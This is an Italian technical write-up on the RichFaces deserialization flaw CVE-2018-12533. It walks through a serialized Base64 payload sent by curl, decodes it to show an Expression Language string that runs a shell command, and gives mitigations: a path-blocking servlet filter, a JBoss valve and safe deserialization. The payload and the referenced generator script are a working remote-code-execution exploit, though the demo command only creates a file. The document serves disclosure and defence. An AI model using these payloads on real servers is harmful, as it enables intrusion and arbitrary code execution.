
Dettagli della CVE-2018-12533. Altre versioni di RichFaces sono vulnerabili, come si può vedere qui.
export PAYLOAD_BASE64_RICHFACES='eJx1k8-LFEcUx98MuKtZD0YhIQTJOkpmBrarZ2ZdWdksmv2BGZg14oigEoY3NW-7a62u6q16M9PrYm5evHr1llMgAcG!wJsEctk!IR4kh4CE5Bzp7tUlktSlisenvu9Lfev99Acc8w4uWRcJp2S8jZK8cGRG5O4rFjEnWtxAZbizcZO8HTtJF7oJRrSBjKsvD3479c-Pz6ow24Xjg2G0brV1XZgdbFuXIOenmFQUcxdmBlM14vgunJAoY8Khph4cG4yQkeF0bwcnGGo0UfjtcIckr!RgZpDmjXfhe6hkKZSrAgBfAICF1Dv4Mr-WidK1tElqDRkWfUamb6wekevjhNydX56vPnn661YVqj04ITV6fx0T-nffPjtlopUefORxQqNCg-GTklA27JNTqNWD3PlKlubt69Imwo9NYUATe0Fa9ChCubdFHNvRmjIjZaJ33qtQ6UElYfi8UM1C0mEJbmapI--VNSvZ!yrfwuhD-p3ySYDMwWflc5AWH3J4-q8La692uVpwZ95zR8QPjx73!7x78FVO5A7O5V9iZ2i9!y-9bpLq4ZtP!5578fFW3jsPae4BQGWuMnt-v8hj3RqmjEVEvJkxOYP6sNRo5sX1PIZGU2xbl4fRqJWmvHQqZdEvtk0TKUNbaDAiV2sKQ9Ou8YxGUilSAmt7hwq-1hQ0QV2KiTxXcXNsWCWU04fHRlNQRrJxrz5EH9cX6oGsL9TZjmU8H3KShu8nIZiMtSGHQ6UV7wVyQkGn1V4O2p2lxcXAbQfti4vtVtBpdZZa7VYnaLdbF5eW6981a82HAGMHZ-71jpwc!rCfD26!!v3s!rXipQGgymUgAqcsrjlMYyV9Z4Ph1NHVcijSNJt-DVfCiaKpD6U1fqwZb-DIoRVZPqvzVy8vLyy154vJWa2d35eYsoxxjdCIoviwlr0F6sFSwQ__'
curl "http://localhost:8080/myapp/a4j/s/3_3_3.Finalorg.richfaces.renderkit.html.Paint2DResource/DATA/${PAYLOAD_BASE64_RICHFACES}.seam"
Dopo DATA/ e fino a prima di .seam, c'è il payload dell'attacco. È solo una classe Java serializzata, zippata e codificata in Base64. È un Base64 con il formato leggermente modificato da RichFaces per essere compatibile con l'URL.
Questa classe contiene una riga di comando nel formato Expression Language che viene eseguita dall'applicazione, più precisamente da RichFaces, ed è qui che sta il problema, perché un codice arbitrario può essere eseguito sul server.
Il comando codificato nel payload sopra è
touch /tmp/richfaces-vulnerability-cve-2018-12533-rf-14310-20250102-110458(solo a scopo dimostrativo) e lo constateremo tra poco.
git clone [email protected]:mhagnumdw/richfaces-vulnerability-cve-2018-12533-rf-14310.git
cd richfaces-vulnerability-cve-2018-12533-rf-14310
echo "${PAYLOAD_BASE64_RICHFACES}" | \
sed 's/-/+/g' | \
sed 's#!#/#g' | \
sed 's/_/=/g' | \
base64 -d | \
zlib-flate -uncompress > UmaClasse.serialized-class.bin
Converte il payload dal formato Base64 di RichFaces al formato Base64 standard. Decodifica il Base64, che in questo caso è un binario zippato, poi lo decomprime, generando il binario della classe java serializzata.
Qui vedremo il comando malizioso contenuto nel payload.
Il comando seguente mostrerà tutti gli attributi della classe e i rispettivi tipi definiti nella classe. Non mostra i tipi a runtime; se non sai cosa significa, va bene così.
Qui stiamo eseguendo codice Java come se fosse uno script grazie a JBang
chmod +x JavaObjectDeserializer.java
./JavaObjectDeserializer.java UmaClasse.serialized-class.bin
L'output è qualcosa del genere:
Objeto java convertido para JSON:
{
"_width (int)": 111,
"_height (int)": 31,
"_data (java.lang.Object)": null,
"_format (int)": 1,
"_paint (java.lang.Object)": {
"className (java.lang.String)": null,
"savedState (java.io.Serializable)": {
"m (javax.el.MethodExpression)": {
"attr (java.lang.String)": "/views/consultaPadrao.xhtml @98,51 paint=\"#{captchaBean.paint}\"",
"orig (javax.el.MethodExpression)": {
"expectedType (java.lang.Class)": null,
"expr (java.lang.String)": "#{facesContext.getExternalContext().getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval(\"java.lang.Runtime.getRuntime().exec(['bash','-c','touch /tmp/richfaces-vulnerability-cve-2018-12533-rf-14310-20250102-110458'])\")}",
"fnMapper (javax.el.FunctionMapper)": null,
"varMapper (javax.el.VariableMapper)": null,
"paramTypes ([Ljava.lang.Class;)": [
"java.awt.Graphics2D",
"java.lang.Object"
]
}
}
}
},
"cacheable (boolean)": false,
"_bgColor (int)": 0
}
Arquivo .class gravado em: org.richfaces.renderkit.html.Paint2DResource$ImageData.class
⚠️ Il punto principale è l'attributo _paint.savedState.m.orig.expr, dove si trova il codice malizioso, che in questo esempio è solo un codice innocuo che crea un file su disco: touch /tmp/richfaces-vulnerability-cve-2018-12533-rf-14310-20250102-110458
chmod +x Generator_Paint2DResourceImageData.java
./Generator_Paint2DResourceImageData.java
# ou
./Generator_Paint2DResourceImageData.java <um comando aqui>
./Generator_Paint2DResourceImageData.java touch /tmp/alguem-esteve-aqui
L'output mostrerà i comandi pronti per essere eseguiti contro un server vulnerabile. Modifica solo l'URL.
Un'opzione meno semplice e più performante è modificare il codice di RichFaces per aggiungere una qualche gestione. Più sotto c'è la stack rilevante.
Un'altra opzione più semplice della precedente è creare un filtro (javax.servlet.Filter) che agisca solo sul path in questione, deserializzando il Base64 presente nel path ed effettuando la dovuta verifica per scoprire se la request può continuare o se deve essere rifiutata. È importante sottolineare che la deserializzazione deve avvenire tramite la classe LookAheadObjectInputStream, come fatto in org.ajax4jsf.resource.ResourceBuilderImpl.getResourceDataForKey(String), per cercare di evitare il più possibile problemi di sicurezza durante la deserializzazione, come ad esempio l'esecuzione di codice malizioso.
Un'opzione è bloccare il path dell'endpoint in qualche proxy che si trova davanti all'applicazione.
Un'altra opzione, che penso valga la pena implementare, ma che non esime dalla prima opzione, è creare un filtro (javax.servlet.Filter) che agisca solo sul path in questione e blocchi l'accesso. Il blocco consiste semplicemente nel rispondere alla richiesta senza lasciare che la catena di filtri prosegua l'esecuzione. Puoi mettere un testo nel body e usare l'http status code 410 (Gone). Ricorda che questo filtro deve essere definito nel web.xml dell'applicazione. Un esempio di questo filtro: PathBlockerFilter.
Se usi JBoss EAP, il filtro di cui si parla qui può essere implementato come valve (la modifica è minima), e:
- verrà eseguito prima dei filtri definiti nel
web.xml- deve essere definito nel file
jboss-web.xmlcome primo<valve>, oppure- può essere definito in standalone.xml (o domain.xml) nel subsystem
urn:jboss:domain:webtramite il tag<valve- Esempio di questo valve: PathBlockerValve
tl;dr: il codice malizioso viene eseguito dal metodo
org.richfaces.renderkit.html.Paint2DResource.send(ResourceContext), alla rigapaint.invoke(facesContext, new Object[] {graphics,data._data});.
Quando la richiesta http viene effettuata, arriva al metodo org.ajax4jsf.resource.ResourceBuilderImpl.getResourceDataForKey(String), come mostra la stack qui sotto:
Daemon Thread [http-0.0.0.0:8080-1] (Suspended)
owns: org.apache.coyote.Request (id=27053)
org.ajax4jsf.resource.ResourceBuilderImpl.getResourceDataForKey(java.lang.String) line: 366
org.ajax4jsf.resource.InternetResourceService.serviceResource(java.lang.String, javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse) line: 156
org.ajax4jsf.resource.InternetResourceService.serviceResource(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse) line: 141
dataString = key.substring(dataStart); viene estratto il Base64 nel formato di RichFaces (ricordando che questo Base64, in fin dei conti, è un oggetto java che è stato serializzato e zippato);objectArray = decrypt(dataArray) questo Base64 viene decodificato e decompresso;data = in.readObject() l'oggetto java con il codice malizioso viene deserializzato, cioè si ha l'istanza dell'oggetto.Successivamente la richiesta arriva al metodo org.richfaces.renderkit.html.Paint2DResource.send(ResourceContext), come mostra la stack qui sotto:
Daemon Thread [http-0.0.0.0:8080-1] (Suspended (breakpoint at line 187 in org.richfaces.renderkit.html.Paint2DResource))
owns: org.apache.coyote.Request (id=27053)
org.richfaces.renderkit.html.Paint2DResource.send(org.ajax4jsf.resource.ResourceContext) line: 187
org.ajax4jsf.resource.ResourceLifecycle.sendResource(org.ajax4jsf.resource.ResourceContext, org.ajax4jsf.resource.InternetResource) line: 221
org.ajax4jsf.resource.ResourceLifecycle.send(org.ajax4jsf.resource.ResourceContext, org.ajax4jsf.resource.InternetResource) line: 148
org.ajax4jsf.resource.InternetResourceService.serviceResource(java.lang.String, javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse) line: 226
org.ajax4jsf.resource.InternetResourceService.serviceResource(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse) line: 141
⚠️ Quindi alla riga paint.invoke(facesContext, new Object[] {graphics,data._data}); il codice malizioso viene finalmente eseguito.
Citerò un caso, il componente rich:paint2D: https://docs.jboss.org/richfaces/latest_3_3_X/en/devguide/html_single/#rich_paint2D
È possibile vedere il payload ricevuto dall'applicazione attivando il log DEBUG per la classe org.ajax4jsf.resource.ResourceBuilderImpl.